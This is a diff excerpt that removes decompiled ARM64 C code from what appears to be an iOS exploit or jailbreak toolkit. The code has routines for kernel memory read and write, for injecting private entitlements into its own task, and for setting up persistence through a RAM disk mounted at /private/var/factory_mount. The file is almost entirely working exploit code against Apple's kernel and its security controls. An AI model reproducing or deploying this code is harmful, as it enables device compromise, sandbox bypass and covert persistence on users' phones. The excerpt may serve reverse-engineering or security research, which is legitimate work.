- return 0xAD005LL; - } - return v2; -} - -//----- (000000000001FE38) ---------------------------------------------------- -__int64 __fastcall driver_cmd_setup_untethered_persistence_maybe(__int64 a1, int a2) -{ - __int64 st_uid; // x22 - CFMutableDictionaryRef Mutable; // x0 - CFMutableDictionaryRef v6; // x21 - size_t v7; // x0 - CFDataRef v8; // x0 - CFDataRef v9; // x23 - CFNumberRef v10; // x0 - CFNumberRef v11; // x24 - const __CFData *Data; // x0 - const __CFData *v13; // x25 - size_t Length; // x22 - void *v15; // x20 - const UInt8 *BytePtr; // x0 - __darwin_ino64_t v17; // x28 - IONotificationPort *v18; // x0 - IONotificationPort *v19; // x22 - CFRunLoopSourceRef RunLoopSource; // x0 - __CFRunLoopSource *v21; // x23 - __CFRunLoop *Current; // x0 - const __CFDictionary *v23; // x21 - void (__cdecl *v24)(void *, io_iterator_t); // x0 - kern_return_t v25; // w0 - int v26; // w25 - char *v27; // x21 - __CFRunLoop *v28; // x0 - int v30; // w22 - unsigned int v31; // w25 - CFRunLoopRunResult v32; // w0 - uint64_t valuePtr; // [xsp+8h] [xbp-A18h] BYREF - unsigned int v34; // [xsp+10h] [xbp-A10h] - statfs v35; // [xsp+88h] [xbp-998h] BYREF - io_iterator_t notification[2]; // [xsp+900h] [xbp-120h] BYREF - const char *v37; // [xsp+908h] [xbp-118h] - uint64_t *p_valuePtr; // [xsp+910h] [xbp-110h] - __int64 v39; // [xsp+918h] [xbp-108h] - stat __str; // [xsp+920h] [xbp-100h] BYREF - - bzero(&v35, 0x878uLL); - st_uid = sub_1FD98(&v35); - if ( (_DWORD)st_uid != 0xAD011 ) - return st_uid; - __str.st_dev = 0xAD001; - st_uid = pthread_create_and_join(a1, (__int64)sub_1F828, &__str) ? (unsigned int)__str.st_dev : 0xAD00BLL; - if ( (_DWORD)st_uid ) - return st_uid; - valuePtr = mach_absolute_time(); - Mutable = CFDictionaryCreateMutable( - kCFAllocatorDefault, - 1LL, - &kCFTypeDictionaryKeyCallBacks, - &kCFTypeDictionaryValueCallBacks); - if ( !Mutable ) - return 0xAD009LL; - v6 = Mutable; - snprintf((char *)&__str, 0x40uLL, "ram://%u", a2 << 0xB); - v7 = strlen((const char *)&__str); - v8 = CFDataCreate(kCFAllocatorDefault, (const UInt8 *)&__str, v7); - if ( !v8 ) - { - CFRelease(v6); - return 0xAD009LL; - } - v9 = v8; - v10 = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &valuePtr); - if ( v10 ) - { - v11 = v10; - CFDictionaryAddValue(v6, CFSTR("autodiskmount"), kCFBooleanFalse); - CFDictionaryAddValue(v6, CFSTR("ota-unique-identifier"), v11); - CFDictionaryAddValue(v6, CFSTR("image-path"), v9); - Data = CFPropertyListCreateData(kCFAllocatorDefault, v6, kCFPropertyListXMLFormat_v1_0, 0LL, 0LL); - if ( Data ) - { - v13 = Data; - Length = CFDataGetLength(Data); - v15 = calloc(Length + 1, 1uLL); - if ( v15 ) - { - BytePtr = CFDataGetBytePtr(v13); - memcpy(v15, BytePtr, Length); - st_uid = 0LL; - v17 = valuePtr; - } - else - { - v17 = 0LL; - st_uid = 0xAD009LL; - } - CFRelease(v13); - } - else - { - v15 = 0LL; - v17 = 0LL; - st_uid = 0xAD009LL; - } - CFRelease(v11); - } - else - { - v15 = 0LL; - v17 = 0LL; - st_uid = 0xAD009LL; - } - CFRelease(v9); - CFRelease(v6); - if ( !(_DWORD)st_uid ) - { - valuePtr = (uint64_t)v15; - v34 = 0xAD00B; - if ( !a1 || !v15 ) - { - st_uid = 0xAD001LL; - goto LABEL_38; - } - st_uid = 0xAD001LL; - if ( v17 ) - { - st_uid = 0xAD00BLL; - if ( (unsigned int)krw_inject_entitlements2_maybe( - a1, - mach_task_self_, - "com.apple.private.diskimages.kext.user-client-accesscom.apple.pr" - "ivate.security.disk-device-accesscom.apple.security.iokit-user-client-class" - "IOHDIXControllerUserClient", - 1) ) - { - if ( pthread_create_and_join(a1, (__int64)sub_2062C, &valuePtr) ) - { - st_uid = v34; - if ( !v34 ) - { - *(_QWORD *)&__str.st_dev = 0LL; - __str.st_ino = v17; - notification[0] = 0; - v18 = IONotificationPortCreate(kIOMasterPortDefault); - if ( !v18 ) - { - v26 = 6; - goto LABEL_37; - } - v19 = v18; - RunLoopSource = IONotificationPortGetRunLoopSource(v18); - if ( !RunLoopSource ) - { - IONotificationPortDestroy(v19); - v26 = 0x1D; - goto LABEL_37; - } - v21 = RunLoopSource; - Current = CFRunLoopGetCurrent(); - CFRunLoopAddSource(Current, v21, kCFRunLoopDefaultMode); - v23 = IOServiceMatching("IOMedia"); - v24 = (void (__cdecl *)(void *, io_iterator_t))nullsub_1(sub_20780); - v25 = IOServiceAddMatchingNotification(v19, "IOServiceMatched", v23, v24, &__str, notification); - if ( v25 ) - { - v26 = v25; - v27 = 0LL; - goto LABEL_36; - } - sub_20780((__int64)&__str, notification[0]); - v27 = *(char **)&__str.st_dev; - if ( *(_QWORD *)&__str.st_dev ) - { -LABEL_34: - v26 = 0; - *(_QWORD *)&__str.st_dev = 0LL; - goto LABEL_35; - } - v31 = 0; - while ( 1 ) - { - v32 = CFRunLoopRunInMode(kCFRunLoopDefaultMode, 1.0, 1u); - if ( v32 == kCFRunLoopRunTimedOut ) - { - ++v31; - } - else if ( v32 != kCFRunLoopRunHandledSource ) - { - if ( (unsigned int)(v32 - 1) < 2 ) - { - v27 = *(char **)&__str.st_dev; - if ( *(_QWORD *)&__str.st_dev ) - goto LABEL_34; - goto LABEL_59; - } - v27 = 0LL; - v26 = 0x12; -LABEL_35: - IOObjectRelease(notification[0]); -LABEL_36: - v28 = CFRunLoopGetCurrent(); - CFRunLoopRemoveSource(v28, v21, kCFRunLoopDefaultMode); - IONotificationPortDestroy(v19); - if ( v26 ) - { -LABEL_37: - st_uid = v26 | 0x80000000; - break; - } - snprintf((char *)&valuePtr, 0x80uLL, "/dev/%s", v27); - memset(&__str, 0, sizeof(__str)); - *(_QWORD *)notification = "/sbin/newfs_hfs"; - v37 = "-P"; - p_valuePtr = &valuePtr; - v39 = 0LL; - st_uid = sub_2B788((const char **)notification); - if ( !(_DWORD)st_uid ) - { - v30 = 0x3E8; - while ( lstat((const char *)&valuePtr, &__str) || (__str.st_mode & 0xF000) != 0x6000 ) - { - usleep(0x4E20u); - if ( !--v30 ) - { - st_uid = 0xAD018LL; - goto LABEL_46; - } - } - *(_QWORD *)&__str.st_dev = "/private/var/factory_mount"; - __str.st_ino = (__darwin_ino64_t)&valuePtr; - __str.st_uid = 0xAD001; - if ( pthread_create_and_join(a1, (__int64)sub_1F7CC, &__str) ) - { - st_uid = __str.st_uid; - if ( !__str.st_uid ) - { -LABEL_47: - free(v27); - break; - } - } - else - { - st_uid = 0xAD00BLL; - } - } -LABEL_46: - *(_QWORD *)&__str.st_dev = &valuePtr; - __str.st_ino = 0LL; - __str.st_uid = 0xAD001; - pthread_create_and_join(a1, (__int64)sub_20524, &__str); - goto LABEL_47; - } - v27 = *(char **)&__str.st_dev; - if ( *(_QWORD *)&__str.st_dev || v31 >= 0xA ) - { - if ( *(_QWORD *)&__str.st_dev ) - goto LABEL_34; -LABEL_59: - v26 = 0x31; - goto LABEL_35; - } - } - } - } - } - } -LABEL_38: - free(v15); - } - return st_uid; -} -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); -// 44958: using guessed type __CFString cfstr_Autodiskmount; -// 44978: using guessed type __CFString cfstr_OtaUniqueIdent; -// 44998: using guessed type __CFString cfstr_ImagePath; - -//----- (00000000000203B0) ---------------------------------------------------- -__int64 __fastcall sub_203B0(__int64 a1, _DWORD *a2, char *a3) -{ - __int64 result; // x0 - statfs v6; // [xsp+0h] [xbp-8A0h] BYREF - - bzero(&v6, 0x878uLL); - result = sub_1FD98(&v6); - if ( (_DWORD)result == 0xAD011 ) - { - result = 0LL; - *a2 = 0; - *a3 = 0; - } - else if ( !(_DWORD)result ) - { - *a2 = 4; - strlcpy(a3, v6.f_mntonname, 0x400uLL); - return 0LL; - } - return result; -} - -//----- (0000000000020468) ---------------------------------------------------- -__int64 __fastcall sub_20468(__int64 a1, __int64 a2, int a3) -{ - if ( sub_22464(a1, a2, a3) ) - return 0LL; - else - return 0xAD00BLL; -} - -//----- (0000000000020490) ---------------------------------------------------- -int *__fastcall sub_20490(__int64 a1) -{ - unsigned int v2; // w21 - int v3; // w20 - int *result; // x0 - int v5; // w22 - int v6; // w8 - int v7; // w8 - - v2 = 0; - v3 = 0x40000010; - while ( 1 ) - { - result = (int *)unmount(*(const char **)a1, 0x80000); - if ( !(_DWORD)result ) - { - v3 = 0; - goto LABEL_11; - } - v5 = *__error(); - result = __error(); - v6 = *result; - if ( v5 < 0 ) - v6 = -v6; - v7 = v6 | 0x40000000; - if ( v7 != 0x40000010 ) - break; - result = (int *)usleep(0xC8u); - if ( v2++ >= 4 ) - goto LABEL_11; - } - v3 = v7; -LABEL_11: - *(_DWORD *)(a1 + 0x10) = v3; - return result; -} - -//----- (0000000000020524) ---------------------------------------------------- -int *__fastcall sub_20524(__int64 a1) -{ - const char *v2; // x20 - int *result; // x0 - int v4; // w21 - int v5; // w0 - int v6; // w20 - int v7; // w21 - int v8; // w8 - int v9; // w20 - int v10; // w8 - stat v11; // [xsp+10h] [xbp-B0h] BYREF - - memset(&v11, 0, sizeof(v11)); - v2 = *(const char **)a1; - result = (int *)stat(*(const char **)a1, &v11); - if ( (_DWORD)result ) - { - result = __error(); - if ( *result == 2 ) - { - v4 = 0; - goto LABEL_16; - } - goto LABEL_10; - } - if ( (v11.st_mode & 0xF000) != 0x6000 ) - { - v4 = 0xAD013; - goto LABEL_16; - } - v5 = open(v2, 0); - if ( v5 < 0 ) - { -LABEL_10: - v9 = *__error(); - result = __error(); - v10 = *result; - if ( v9 < 0 ) - v10 = -v10; - v4 = v10 | 0x40000000; - goto LABEL_16; - } - v6 = v5; - if ( ioctl(v5, 0x20006415uLL, 0LL) ) - { - v7 = *__error(); - v8 = *__error(); - if ( v7 < 0 ) - v8 = -v8; - v4 = v8 | 0x40000000; - } - else - { - v4 = 0; - } - result = (int *)close(v6); -LABEL_16: - *(_DWORD *)(a1 + 0x10) = v4; - return result; -} - -//----- (000000000002062C) ---------------------------------------------------- -const __CFDictionary *__fastcall sub_2062C(const __CFDictionary *result) -{ - const __CFDictionary *v1; // x19 - io_object_t v2; // w20 - kern_return_t v3; // w0 - kern_return_t v4; // w0 - unsigned int v5; // w8 - int outputStruct; // [xsp+4h] [xbp-13Ch] BYREF - size_t outputStructCnt; // [xsp+8h] [xbp-138h] BYREF - io_connect_t connect; // [xsp+14h] [xbp-12Ch] BYREF - __int64 inputStruct; // [xsp+18h] [xbp-128h] BYREF - const char *v10; // [xsp+20h] [xbp-120h] - size_t v11; // [xsp+28h] [xbp-118h] - __int128 v12; // [xsp+30h] [xbp-110h] - __int128 v13; // [xsp+40h] [xbp-100h] - __int128 v14; // [xsp+50h] [xbp-F0h] - __int128 v15; // [xsp+60h] [xbp-E0h] - __int128 v16; // [xsp+70h] [xbp-D0h] - __int128 v17; // [xsp+80h] [xbp-C0h] - __int128 v18; // [xsp+90h] [xbp-B0h] - __int128 v19; // [xsp+A0h] [xbp-A0h] - __int128 v20; // [xsp+B0h] [xbp-90h] - __int128 v21; // [xsp+C0h] [xbp-80h] - __int128 v22; // [xsp+D0h] [xbp-70h] - __int128 v23; // [xsp+E0h] [xbp-60h] - __int128 v24; // [xsp+F0h] [xbp-50h] - __int128 v25; // [xsp+100h] [xbp-40h] - __int64 v26; // [xsp+110h] [xbp-30h] - - if ( result ) - { - v1 = result; - result = sub_24D64("IOHDIXController"); - if ( (unsigned int)((_DWORD)result + 1) < 2 ) - { - *((_DWORD *)v1 + 2) = 0xAD011; - } - else - { - v2 = (unsigned int)result; - connect = 0; - v3 = IOServiceOpen((io_service_t)result, mach_task_self_, 0, &connect); - if ( v3 ) - { - *((_DWORD *)v1 + 2) = v3 | 0x80000000; - } - else - { - outputStructCnt = 4LL; - outputStruct = 0; - v12 = 0u; - v13 = 0u; - v14 = 0u; - v15 = 0u; - v16 = 0u; - v17 = 0u; - v18 = 0u; - v19 = 0u; - v20 = 0u; - v21 = 0u; - v22 = 0u; - v23 = 0u; - v24 = 0u; - v25 = 0u; - v26 = 0LL; - inputStruct = 0x1BEEFFEEDLL; - v10 = *(const char **)v1; - v11 = strlen(v10); - v4 = IOConnectCallStructMethod(connect, 0, &inputStruct, 0x100uLL, &outputStruct, &outputStructCnt); - v5 = v4 | 0x80000000; - if ( !v4 ) - v5 = 0; - *((_DWORD *)v1 + 2) = v5; - IOServiceClose(connect); - } - return (const __CFDictionary *)IOObjectRelease(v2); - } - } - return result; -} - -//----- (0000000000020780) ---------------------------------------------------- -__int64 __fastcall sub_20780(__int64 a1, io_iterator_t iterator) -{ - __int64 result; // x0 - io_registry_entry_t v5; // w22 - const __CFNumber *v6; // x0 - const __CFNumber *v7; // x26 - CFTypeID v8; // x27 - const __CFString *CFProperty; // x0 - const __CFString *v10; // x27 - CFTypeID v11; // x28 - CFStringEncoding SystemEncoding; // w0 - __int64 valuePtr; // [xsp+8h] [xbp-E8h] BYREF - char buffer[16]; // [xsp+10h] [xbp-E0h] BYREF - __int128 v15; // [xsp+20h] [xbp-D0h] - __int128 v16; // [xsp+30h] [xbp-C0h] - __int128 v17; // [xsp+40h] [xbp-B0h] - __int128 v18; // [xsp+50h] [xbp-A0h] - __int128 v19; // [xsp+60h] [xbp-90h] - __int128 v20; // [xsp+70h] [xbp-80h] - __int128 v21; // [xsp+80h] [xbp-70h] - - valuePtr = 0LL; - v20 = 0u; - v21 = 0u; - v18 = 0u; - v19 = 0u; - v16 = 0u; - v17 = 0u; - *(_OWORD *)buffer = 0u; - v15 = 0u; - result = IOIteratorNext(iterator); - if ( (_DWORD)result ) - { - v5 = result; - do - { - v6 = (const __CFNumber *)IORegistryEntrySearchCFProperty( - v5, - "IOService", - CFSTR("ota-unique-identifier"), - kCFAllocatorDefault, - 3u); - if ( v6 ) - { - v7 = v6; - v8 = CFGetTypeID(v6); - if ( v8 == CFNumberGetTypeID() - && CFNumberGetValue(v7, kCFNumberSInt64Type, &valuePtr) == 1 - && valuePtr == *(_QWORD *)(a1 + 8) ) - { - CFProperty = (const __CFString *)IORegistryEntryCreateCFProperty( - v5, - CFSTR("BSD Name"), - kCFAllocatorDefault, - 0); - if ( CFProperty ) - { - v10 = CFProperty; - v11 = CFGetTypeID(CFProperty); - if ( v11 == CFStringGetTypeID() ) - { - SystemEncoding = CFStringGetSystemEncoding(); - if ( CFStringGetCString(v10, buffer, 0x80LL, SystemEncoding) == 1 ) - { - if ( *(_QWORD *)a1 ) - free(*(void **)a1); - *(_QWORD *)a1 = strdup(buffer); - } - } - CFRelease(v10); - } - } - CFRelease(v7); - } - IOObjectRelease(v5); - result = IOIteratorNext(iterator); - v5 = result; - } - while ( (_DWORD)result ); - } - return result; -} -// 44978: using guessed type __CFString cfstr_OtaUniqueIdent; -// 449B8: using guessed type __CFString cfstr_BsdName; - -//----- (0000000000020930) ---------------------------------------------------- -__int64 __fastcall sub_20930(__int64 a1, __int64 *a2, __int64 a3) -{ - __int64 v4; // x21 - _QWORD *v5; // x9 - int v6; // w10 - size_t v7; // x8 - __int64 v8; // x22 - unsigned int v9; // w10 - size_t *p_src; // x20 - void *v11; // x0 - size_t v12; // x2 - size_t *v13; // x1 - size_t v15; // [xsp+0h] [xbp-30h] BYREF - __int64 __src; // [xsp+8h] [xbp-28h] BYREF - - if ( *((_BYTE *)a2 + 0x40) ) - { - __src = a3; - v4 = a2[4]; - if ( v4 ) - { - v5 = a2 + 5; - } - else - { - v5 = a2 + 1; - v4 = *a2; - } - v6 = *((_DWORD *)a2 + 0x12); - v7 = *(int *)(a1 + 0x168); - v8 = (unsigned int)(v6 + 2 * v7); - v9 = 3 * v7 + v6; - if ( a3 ) - { - p_src = (size_t *)&__src; - v15 = v8 - v7 + *v5; - } - else - { - p_src = &v15; - v15 = 0LL; - } - memcpy((void *)(v4 + v9), &v15, v7); - v11 = (void *)(v4 + v8); - v12 = *(int *)(a1 + 0x168); - v13 = p_src; - } - else - { - if ( a3 ) - __src = a3 - *((unsigned int *)a2 + 0x19); - else - __src = 0LL; - v11 = (void *)(*a2 + *((unsigned int *)a2 + 0x17) + 0x200); - v12 = *(int *)(a1 + 0x168); - v13 = (size_t *)&__src; - } - memcpy(v11, v13, v12); - return 0LL; -} - -//----- (0000000000020A14) ---------------------------------------------------- -__int64 __fastcall sub_20A14(__int64 a1, int a2, char a3) -{ - __int64 v5; // x22 - unsigned int v6; // w23 - __int64 v7; // x19 - unsigned __int64 v8; // x0 - bool v9; // cf - unsigned __int64 v10; // x0 - unsigned int v11; // w23 - bool v12; // zf - unsigned int v14; // w21 - unsigned __int64 v15; // x0 - unsigned __int64 v16; // x0 - unsigned int v17; // w21 - - v5 = *(_QWORD *)(a1 + 0x20); - if ( (a3 & 1) == 0 && (!a2 || v5) ) - goto LABEL_19; - v6 = 0; - v7 = 0x28009LL; - while ( 1 ) - { - v8 = write(*(_DWORD *)(a1 + 0x18), *(const void **)a1, *(unsigned int *)(a1 + 0x10)); - if ( v8 != 0xFFFFFFFFFFFFFFFFLL ) - break; - if ( *__error() == 4 ) - { - v9 = v6++ >= 0x64; - if ( !v9 ) - continue; - } - return v7; - } - if ( !HIDWORD(v8) && *(_DWORD *)(a1 + 0x10) == (_DWORD)v8 ) - { - v10 = read(*(_DWORD *)(a1 + 0x14), *(void **)a1, (unsigned int)v8); - if ( v10 == 0xFFFFFFFFFFFFFFFFLL ) - { - v11 = 0; - while ( *__error() == 4 && v11 <= 0x63 ) - { - ++v11; - v10 = read(*(_DWORD *)(a1 + 0x14), *(void **)a1, *(unsigned int *)(a1 + 0x10)); - if ( v10 != 0xFFFFFFFFFFFFFFFFLL ) - goto LABEL_17; - } - return 0x2800ALL; - } -LABEL_17: - v7 = 0x2800ALL; - if ( !HIDWORD(v10) && *(_DWORD *)(a1 + 0x10) == (_DWORD)v10 ) - { -LABEL_19: - if ( v5 ) - v12 = a2 == 0; - else - v12 = 1; - if ( v12 ) - return 0LL; - v14 = 0; - v7 = 0x28009LL; - while ( 1 ) - { - v15 = write(*(_DWORD *)(a1 + 0x38), *(const void **)(a1 + 0x20), *(unsigned int *)(a1 + 0x30)); - if ( v15 != 0xFFFFFFFFFFFFFFFFLL ) - break; - if ( *__error() == 4 ) - { - v9 = v14++ >= 0x64; - if ( !v9 ) - continue; - } - return v7; - } - if ( !HIDWORD(v15) && *(_DWORD *)(a1 + 0x30) == (_DWORD)v15 ) - { - v16 = read(*(_DWORD *)(a1 + 0x34), *(void **)(a1 + 0x20), (unsigned int)v15); - if ( v16 == 0xFFFFFFFFFFFFFFFFLL ) - { - v17 = 0; - while ( *__error() == 4 && v17 <= 0x63 ) - { - ++v17; - v16 = read(*(_DWORD *)(a1 + 0x34), *(void **)(a1 + 0x20), *(unsigned int *)(a1 + 0x30)); - if ( v16 != 0xFFFFFFFFFFFFFFFFLL ) - goto LABEL_38; - } - return 0x2800ALL; - } -LABEL_38: - v7 = 0x2800ALL; - if ( !HIDWORD(v16) && *(_DWORD *)(a1 + 0x30) == (_DWORD)v16 ) - return 0LL; - } - } - } - return v7; -} - -//----- (0000000000020C00) ---------------------------------------------------- -__int64 __fastcall sub_20C00(__int64 a1, __int64 a2, __int64 a3, int *a4) -{ - __int64 result; // x0 - int x; // [xsp+Ch] [xbp-14h] BYREF - - sub_20930(a1, (__int64 *)a2, a3); - result = sub_20A14(a2, 0, 1); - if ( !(_DWORD)result ) - { - result = pid_for_task(*(_DWORD *)(a2 + 0x3C), &x); - if ( (_DWORD)result ) - return (unsigned int)result | 0x80000000; - else - *a4 = x; - } - return result; -} - -//----- (0000000000020C64) ---------------------------------------------------- -__int64 __fastcall sub_20C64(__int64 a1, __int64 a2, __int64 a3, int *a4) -{ - __int64 result; // x0 - integer_t port_info_out; // [xsp+8h] [xbp-28h] BYREF - mach_msg_type_number_t port_info_outCnt; // [xsp+Ch] [xbp-24h] BYREF - __int64 vars8; // [xsp+38h] [xbp+8h] - - if ( *(_BYTE *)(a2 + 0x40) ) - { - sub_20930(a1, (__int64 *)a2, a3); - result = sub_20A14(a2, 1, 0); - if ( !(_DWORD)result ) - { - port_info_outCnt = 1; - result = mach_port_get_attributes(mach_task_self_, *(_DWORD *)(a2 + 0x3C), 3, &port_info_out, &port_info_outCnt); - if ( (_DWORD)result ) - return (unsigned int)result | 0x80000000; - else - *a4 = port_info_out; - } - } - else - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return sub_20C00(a1, a2, a3, a4); - } - return result; -} - -//----- (0000000000020D24) ---------------------------------------------------- -__int64 __fastcall sub_20D24(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 *a4) -{ - __int64 result; // x0 - unsigned int v9; // [xsp+8h] [xbp-28h] BYREF - unsigned int v10; // [xsp+Ch] [xbp-24h] BYREF - - result = sub_20C64(a1, a2, a3, (int *)&v10); - if ( !(_DWORD)result ) - { - result = sub_20C64(a1, a2, a3 + 4, (int *)&v9); - if ( !(_DWORD)result ) - *a4 = v10 | ((unsigned __int64)v9 << 0x20); - } - return result; -} - -//----- (0000000000020D90) ---------------------------------------------------- -__int64 __fastcall sub_20D90(__int64 a1, __int64 a2, unsigned __int64 a3, int a4, unsigned __int64 *a5) -{ - __int64 v10; // x19 - __int64 v11; // x0 - unsigned int v12; // w26 - unsigned int v13; // w24 - unsigned __int64 v14; // x0 - unsigned __int64 v15; // x28 - __int64 v16; // x27 - unsigned __int64 i; // x24 - __int64 v18; // x0 - int v19; // w8 - unsigned __int64 v20; // x10 - unsigned __int64 v21; // x9 - int v22; // w11 - unsigned __int64 v23; // x26 - int v24; // w8 - unsigned __int64 v25; // x10 - unsigned __int64 v26; // x9 - int v27; // w11 - unsigned int v29; // [xsp+Ch] [xbp-64h] - unsigned __int64 v30; // [xsp+10h] [xbp-60h] - int v31; // [xsp+1Ch] [xbp-54h] BYREF - - v10 = 0x2800CLL; - v11 = sub_32BC8(a1); - if ( !(_DWORD)v11 ) - return 0x2800BLL; - if ( !a3 ) - return 0x28008LL; - v12 = v11; - v13 = sub_401A4(a1, v11); - v14 = sub_40364(a1, a3, v12, v13); - if ( !v14 ) - return 0x28026LL; - v15 = v14; - v29 = v13; - v30 = *(_QWORD *)(a1 + 0x158); - v16 = v12; - if ( v14 <= a3 ) - { - i = a3; - do - { - if ( a2 ) - { - v18 = sub_20C64(a1, a2, i, &v31); - if ( (_DWORD)v18 ) - return v18; - } - else if ( !kread32_outptr(a1, i, &v31) ) - { - return 0x2800FLL; - } - v19 = v31 & 0x3FF; - if ( v30 < 0x1C1B1914600000LL ) - { - if ( v19 == a4 ) - goto LABEL_47; - if ( v19 != 0x11 ) - { - v20 = 0LL; - do - { - v21 = v20; - if ( v20 == 9 ) - break; - v22 = dword_43428[++v20]; - } - while ( v22 != v19 ); - if ( v21 > 8 ) - break; - } - } - else if ( a4 == 2 && v19 == 2 ) - { - if ( !(unsigned int)sub_21060((_DWORD *)a1, a2, v31, i) ) - goto LABEL_47; - } - else if ( v19 == a4 ) - { -LABEL_47: - v10 = 0LL; - *a5 = i; - return v10; - } - i -= v12; - } - while ( i >= v15 ); - } - v23 = v29 - (unsigned __int64)v12 + v15; - for ( i = v16 + a3; i <= v23; i += v16 ) - { - if ( a2 ) - { - v18 = sub_20C64(a1, a2, i, &v31); - if ( (_DWORD)v18 ) - return v18; - } - else if ( !kread32_outptr(a1, i, &v31) ) - { - return 0x2800FLL; - } - v24 = v31 & 0x3FF; - if ( v30 < 0x1C1B1914600000LL ) - { - if ( v24 == a4 ) - goto LABEL_47; - if ( v24 != 0x11 ) - { - v25 = 0LL; - do - { - v26 = v25; - if ( v25 == 9 ) - break; - v27 = dword_43428[++v25]; - } - while ( v27 != v24 ); - if ( v26 > 8 ) - return v10; - } - } - else if ( a4 == 2 && v24 == 2 ) - { - if ( !(unsigned int)sub_21060((_DWORD *)a1, a2, v31, i) ) - goto LABEL_47; - } - else if ( v24 == a4 ) - { - goto LABEL_47; - } - } - return v10; -} -// 43428: using guessed type _DWORD dword_43428[10]; - -//----- (0000000000021060) ---------------------------------------------------- -__int64 __fastcall sub_21060(_DWORD *a1, __int64 a2, __int16 a3, __int64 a4) -{ - __int64 v6; // x0 - __int64 v7; // x21 - unsigned __int64 v8; // x1 - unsigned int v9; // w0 - unsigned __int64 v10; // x8 - unsigned __int64 v12; // [xsp+8h] [xbp-28h] BYREF - - if ( (a3 & 0x7FF) != 2 ) - return 0x28008LL; - v6 = sub_32820((__int64)a1, a4); - v12 = v6; - if ( !v6 ) - return 0x28026LL; - if ( a2 ) - { - v7 = sub_20D24((__int64)a1, a2, v6, &v12); - if ( (_DWORD)v7 ) - return v7; - v8 = sub_29CB0(a1, v12); - v12 = v8; - } - else - { - if ( !kread64(a1, v6, (__int64 *)&v12) ) - return 0x2800FLL; - v8 = v12; - } - if ( !validate_addr((__int64)a1, v8) ) - return 0x28026LL; - v9 = sub_3338C((__int64)a1); - v7 = 0x28026LL; - if ( !v9 ) - return v7; - v10 = v12 + v9; - if ( a2 ) - { - v7 = sub_20D24((__int64)a1, a2, v10, &v12); - if ( !(_DWORD)v7 ) - { - v12 = sub_29CB0(a1, v12); - v7 = sub_20D24((__int64)a1, a2, v12 + 0x20, &v12); - if ( !(_DWORD)v7 ) - { -LABEL_20: - if ( validate_addr((__int64)a1, v12) ) - return 0LL; - else - return 0x28026LL; - } - } - } - else - { - v7 = 0x2800FLL; - if ( kread64(a1, v10, (__int64 *)&v12) && kread64(a1, v12 + 0x20, (__int64 *)&v12) ) - goto LABEL_20; - } - return v7; -} - -//----- (00000000000211F4) ---------------------------------------------------- -__int64 __fastcall sub_211F4(__int64 a1, __int64 a2, unsigned __int64 a3, unsigned __int64 *a4) -{ - return sub_20D90(a1, a2, a3, 2, a4); -} - -//----- (0000000000021200) ---------------------------------------------------- -__int64 __fastcall sub_21200(__int64 a1) -{ - __int64 v2; // x19 - int v3; // w9 - unsigned __int64 v7; // x0 - mach_vm_address_t v8; // x21 - _DWORD v9[2]; // [xsp+8h] [xbp-28h] BYREF - - v2 = 0x28007LL; - v3 = *(_DWORD *)(a1 + 0x140); - if ( v3 > 0x1F52 ) - { - if ( (unsigned int)(v3 - 0x1F53) >= 2 && v3 != 0x2258 ) - return v2; -LABEL_12: - if ( (unsigned int)j__fileport_makeport() ) - return 0x2800DLL; - v7 = port_name_to_kaddr(a1, v9[1]); - if ( !v7 ) - return 0x2800ELL; - v8 = v7 + 0x14; - if ( !kread32_outptr(a1, v7 + 0x14, v9) ) - return 0x2800FLL; - if ( (unsigned int)(v9[0] - 1) > 9 ) - return 0x28011LL; - if ( noppl_kwrite32(a1, v8, 0xFFFF) ) - return 0LL; - return 0x28010LL; - } - if ( v3 == 0x1809 || v3 == 0x1C1B ) - goto LABEL_12; - return v2; -} - -//----- (0000000000021304) ---------------------------------------------------- -uint64_t __fastcall sub_21304(__int64 a1) -{ - __int64 v2; // x20 - uint64_t result; // x0 - __int64 i; // x8 - __int64 v5; // x10 - - v2 = *(_QWORD *)(a1 + 0x868); - result = mach_absolute_time(); - if ( v2 ) - { - if ( (result - *(_QWORD *)(a1 + 0x868)) * *(unsigned int *)(a1 + 0x25C) / *(unsigned int *)(a1 + 0x260) < 0x12A153440LL ) - return result; - for ( i = 0LL; i != 0x280; i += 0x28LL ) - { - v5 = a1 + 0x5E8 + i; - *(_QWORD *)(v5 + 0x20) = 0LL; - *(_OWORD *)v5 = 0uLL; - *(_OWORD *)(v5 + 0x10) = 0uLL; - } - result = mach_absolute_time(); - } - *(_QWORD *)(a1 + 0x868) = result; - return result; -} - -//----- (0000000000021388) ---------------------------------------------------- -unsigned __int64 __fastcall sub_21388(__int64 a1) -{ - unsigned __int64 result; // x0 - __int64 vars8; // [xsp+18h] [xbp+8h] - - result = sub_32D24(a1); - if ( result ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return sub_3492C(a1, result); - } - return result; -} -// 213B8: variable 'vars8' is possibly undefined - -//----- (00000000000213D4) ---------------------------------------------------- -__n128 __fastcall sub_213D4(__int64 a1, unsigned __int64 obj, __int64 a3, __int64 a4) -{ - __int64 v8; // x23 - unsigned __int64 v9; // x1 - unsigned __int64 v10; // x9 - __n128 result; // q0 - __int64 v12; // x24 - unsigned __int64 v13; // x25 - __int64 v14; // x23 - unsigned __int64 v15; // x26 - _BOOL4 v16; // w0 - unsigned __int64 v17; // x8 - __int64 v18; // x9 - unsigned __int64 v19; // x23 - int v20; // w10 - unsigned __int64 v21; // x11 - unsigned __int64 v22; // x11 - int v23; // w9 - unsigned __int64 v24; // x0 - unsigned __int64 v25; // x23 - int v26; // w8 - unsigned __int64 v27; // x1 - __int64 v28; // x9 - __int128 v29; // q1 - __int64 v30; // x23 - __int64 v31; // x24 - _BOOL4 has_flag; // w0 - int v33; // w8 - __int64 v34; // x8 - unsigned __int64 v35; // x25 - unsigned __int64 v36; // x11 - __int64 v37; // x8 - __int64 v38; // x8 - __int128 v39; // q1 - __int64 v40; // [xsp+0h] [xbp-50h] BYREF - unsigned __int64 v41; // [xsp+8h] [xbp-48h] BYREF - - if ( !a3 ) - return result; - v8 = 0LL; - *(_QWORD *)(a3 + 0x20) = 0LL; - *(_OWORD *)a3 = 0u; - *(_OWORD *)(a3 + 0x10) = 0u; - do - { - v9 = *(_QWORD *)(a1 + v8 + 0x5E8); - if ( !v9 ) - break; - v10 = *(_QWORD *)(a1 + v8 + 0x5F0); - if ( v10 